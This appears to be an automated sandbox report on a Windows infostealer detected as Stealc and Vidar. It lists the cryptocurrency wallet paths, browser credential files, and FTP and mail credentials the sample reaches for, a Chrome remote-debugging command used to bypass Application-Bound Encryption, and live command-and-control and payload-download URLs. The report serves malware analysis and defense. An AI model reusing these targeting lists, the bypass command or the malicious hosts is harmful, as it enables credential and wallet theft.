Source: file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 5356, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2697917488.0000000000A61000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2185106449.0000000005410000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2700544115.000000000161E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5356, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5356, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	251 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\DocumentsJDAFIEHIEG.exe	47%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://185.215.113.16/mine/random.exe24U	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dll6	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/softokn3.dlla;	100%	Avira URL Cloud	malware
http://185.215.113.206$e	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dllP;	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpK	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeQ4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	142.250.181.110	true	false	high
play.google.com	172.217.19.238	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.106	true	false	high
www.google.com	172.217.21.36	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732230714886&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732230722126&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732230722120&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://sb.scorecardresearch.com/b2?rn=1732230714889&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=306F509DFB216A50056745A3FA536B36&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732230722657&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://c.msn.com/c.gif?rnd=1732230714888&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=53c96a7ddf164fe5bea8add971aea1bc&activityId=53c96a7ddf164fe5bea8add971aea1bc&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2D251323873B4956AEDB92FD764EF17E&MUID=306F509DFB216A50056745A3FA536B36	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732230721121&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000001.00000003.2388573549.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEG.1.dr, Web Data.9.dr, GCGCBAEC.1.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000003.2388573549.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEG.1.dr, Web Data.9.dr, GCGCBAEC.1.dr	false		high
http://www.broofa.com	chromecache_471.4.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
http://185.215.113.16/mine/random.exe24U	file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ntp.msn.com/0	000003.log9.9.dr	false		high
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000001.00000002.2725942988.0000000023E01000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.1.dr	false		high
https://www.last.fm/	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.9.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000017.00000002.3423306492.000000000081E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0	skotes.exe, 00000017.00000002.3423306492.000000000081E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll6	file.exe, 00000001.00000002.2700544115.0000000001678000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.youtube.com	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://www.instagram.com	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000001.00000002.2697917488.0000000000BC7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive.google.com/	manifest.json0.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://www.messenger.com	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dlla;	file.exe, 00000001.00000002.2700544115.0000000001678000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://www.deezer.com/	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://web.telegram.org/	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		high
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
https://vibe.naver.com/today	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllP;	file.exe, 00000001.00000002.2700544115.0000000001678000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000003.2388573549.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEG.1.dr, Web Data.9.dr, GCGCBAEC.1.dr	false		high
http://185.215.113.16/mine/random.exeQ4	file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000001.00000003.2388573549.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEG.1.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
https://excel.new?from=EdgeM365Shoreline	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KEGIDHJKKJDGCBGCGIJKKECAAE.1.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_471.4.dr	false		high
http://185.215.113.206$e	file.exe, 00000001.00000002.2700544115.000000000161E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.10.dr	false		high
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	KEGIDHJKKJDGCBGCGIJKKECAAE.1.dr	false		high
